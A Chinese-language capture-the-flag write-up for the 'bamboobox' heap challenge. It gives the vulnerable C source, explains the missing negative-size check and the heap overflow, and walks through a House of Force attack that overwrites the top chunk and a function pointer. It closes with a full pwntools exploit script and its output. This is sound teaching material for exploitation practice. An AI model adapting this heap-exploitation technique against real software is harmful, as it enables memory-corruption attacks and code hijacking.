bamboobox Writeup

TOC

  1. 1. 源码
  2. 2. 程序简介
    1. 2.1. 安全防护
    2. 2.2. 主要功能
    3. 2.3. 全局变量
    4. 2.4. show_item
    5. 2.5. add_item
    6. 2.6. change_item
    7. 2.7. remove_item
    8. 2.8. magic
  3. 3. 漏洞
    1. 3.1. 思路
    2. 3.2. 劫持top chunk
    3. 3.3. 控制bamboo
  4. 4. 完整脚本

题目地址:https://github.com/zh-explorer/hctf2016-fheap

考察漏洞:House of Force。

源程序下载:bamboobox

源码

bamboobox.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

struct item
{
int size;
char *name;
};

struct item itemlist[100] = {0};

int num;

void hello_message()
{
puts("There is a box with magic");
puts("what do you want to do in the box");
}

void goodbye_message()
{
puts("See you next time");
puts("Thanks you");
}

struct box
{
void (*hello_message)();
void (*goodbye_message)();
};

void menu()
{
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}

void show_item()
{
int i;
if (!num)
{
puts("No item in the box");
}
else
{
for (i = 0; i < 100; i++)
{
if (itemlist[i].name)
{
printf("%d : %s", i, itemlist[i].name);
}
}
puts("");
}
}

int add_item()
{

char sizebuf[8];
int length;
int i;
int size;
if (num < 100)
{
printf("Please enter the length of item name:");
read(0, sizebuf, 8);
length = atoi(sizebuf);
if (length == 0)
{
puts("invaild length");
return 0;
}
for (i = 0; i < 100; i++)
{
if (!itemlist[i].name)
{
itemlist[i].size = length;
itemlist[i].name = (char *)malloc(length);
printf("Please enter the name of item:");
size = read(0, itemlist[i].name, length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}
}
else
{
puts("the box is full");
}
return 0;
}

void change_item()
{

char indexbuf[8];
char lengthbuf[8];
int length;
int index;
int readsize;

if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
printf("Please enter the length of item name:");
read(0, lengthbuf, 8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0, itemlist[index].name, length);
*(itemlist[index].name + readsize) = '\x00';
}
else
{
puts("invaild index");
}
}
}

void remove_item()
{
char indexbuf[8];
int index;

if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
free(itemlist[index].name);
itemlist[index].name = 0;
itemlist[index].size = 0;
puts("remove successful!!");
num--;
}
else
{
puts("invaild index");
}
}
}

void magic()
{
int fd;
char buffer[100];
fd = open("./flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
close(fd);
printf("%s", buffer);
exit(0);
}

int main()
{

char choicebuf[8];
int choice;
struct box *bamboo;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message;
bamboo->hello_message();

while (1)
{
menu();
read(0, choicebuf, 8);
choice = atoi(choicebuf);
switch (choice)
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;
}
}

return 0;
}

程序简介

安全防护

ex@ubuntu:~/test$ checksec bamboobox 
[*] '/home/ex/test/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

主要功能

void menu()
{
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}

全局变量

struct item
{
int size;
char *name;
};

struct item itemlist[100] = {0};

int num;

num用来统计已经使用掉了多少个item,itemlist就相当于竹盒,我们需要往里面添加数据(item)。

show_item

void show_item()
{
int i;
if (!num)
{
puts("No item in the box");
}
else
{
for (i = 0; i < 100; i++)
{
if (itemlist[i].name)
{
printf("%d : %s", i, itemlist[i].name);
}
}
puts("");
}
}

把箱子中的储存的东西全部打印出来。

add_item

int add_item()
{

char sizebuf[8];
int length;
int i;
int size;
if (num < 100)
{
printf("Please enter the length of item name:");
read(0, sizebuf, 8);
length = atoi(sizebuf);
if (length == 0)
{
puts("invaild length");
return 0;
}
for (i = 0; i < 100; i++)
{
if (!itemlist[i].name)
{
itemlist[i].size = length;
itemlist[i].name = (char *)malloc(length);
printf("Please enter the name of item:");
size = read(0, itemlist[i].name, length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}
}
else
{
puts("the box is full");
}
return 0;
}

根据用户输入的大小来申请内存块,并挂载到全局变量itemlist上,对长度有只有是否为零判断,没有负值判断。

change_item

void change_item()
{

char indexbuf[8];
char lengthbuf[8];
int length;
int index;
int readsize;

if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
printf("Please enter the length of item name:");
read(0, lengthbuf, 8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0, itemlist[index].name, length);
*(itemlist[index].name + readsize) = '\x00';
}
else
{
puts("invaild index");
}
}
}

根据用户输入的大小来修改全局变量itemlist上指定的item(item也是由用户输入确定),没有检查。

remove_item

void remove_item()
{
char indexbuf[8];
int index;

if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
free(itemlist[index].name);
itemlist[index].name = 0;
itemlist[index].size = 0;
puts("remove successful!!");
num--;
}
else
{
puts("invaild index");
}
}
}

将item从itemlist上移除。

magic

后门函数,劫持程序流到该函数即可获得flag。

void magic()
{
int fd;
char buffer[100];
fd = open("./flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
close(fd);
printf("%s", buffer);
exit(0);
}

漏洞

add_item中没有负值检查,因为malloc函数的参数是一个无符号长整型,所以弹栈的时候负值便会变成一个很大的数,这样我们就能申请一个很大的值。 change_item没有长度检测,可以任意heap overflow。

思路

  1. 劫持top chunk
  2. 控制bamboo

劫持top chunk

# 修改top chunk

# 注意这里不能太小,否则会申请不到top_chunk
add_item(0x108,'') # 申请的这个chunk的size为 0x110
change_item(0,0x108 + 8 + 1,'a'*0x108 + struct.pack('q',-1)) # top_chunk->size = -1

注意:最先申请的chunk不能太小,否则会申请不到top_chunk。可以通过调试查看到申请的这个chunk的size为 0x110,所以要偏移0x108字节才能到top_chunk的size部分。

控制bamboo

# any_address - (char *)top_chunk - 0x20
# (heap_base + 0x10)为目标地址,偏移 0x10 为了不把chunk头计算在内
# (heap_base + 0x20 + 0x110)为top_chunk 的地址
# (heap_base + 0x10) - (heap_base + 0x20 + 0x110) - 0x20 = -0x140
add_item(-0x140,'')
add_item(0x18,'a'*8 + p64(magic_func_addr))

将bamboo->goodbye_message函数修改为magic函数,则在退出时,程序便会自动打印出flag,上面的数值需要自行计算。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct

sh = process('./bamboobox')
elf = ELF('./bamboobox')
#context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def show_item():
pass

def add_item(size, name):
sh.sendline(str(2))
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(size))
sh.recvuntil('Please enter the name of item:')
sh.sendline(name)
sh.recvuntil('Your choice:')

def change_item(index, length, name):
sh.sendline(str(3))
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(index))
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(length))
sh.recvuntil('Please enter the new name of the item:')
sh.sendline(name)
sh.recvuntil('Your choice:')

def remove_item(index):
sh.sendline(str(4))
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(index))
sh.recvuntil('Your choice:')

magic_func_addr = 0x400d49

# 清除流
sh.recvuntil('Your choice:')

# 修改top chunk

# 注意这里不能太小,否则会申请不到top_chunk
add_item(0x108, '') # 申请的这个chunk的size为 0x110
change_item(0, 0x108 + 8 + 1, 'a'*0x108 +
struct.pack('q', -1)) # top_chunk->size = -1

# any_address - (char *)top_chunk - 0x20
# (heap_base + 0x10)为目标地址,偏移 0x10 为了不把chunk头计算在内
# (heap_base + 0x20 + 0x110)为top_chunk 的地址
# (heap_base + 0x10) - (heap_base + 0x20 + 0x110) - 0x20 = -0x140
add_item(-0x140, '')
add_item(0x18, 'a'*8 + p64(magic_func_addr))

# 退出程序,触发magic函数
sh.sendline('5')
sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行结果:

ex@ubuntu:~/test$ echo flag{123456789} > flag
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './bamboobox': pid 6066
[*] '/home/ex/test/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
[*] Process './bamboobox' stopped with exit code 0 (pid 6066)
flag{123456789}
\xa6\xa5\x95\xa1\x7f[*] Got EOF while reading in interactive
$

总结

遇到bug多去调试程序,调试多了,能力也会逐渐变强。 所有的失败其实都是在为成功做铺垫。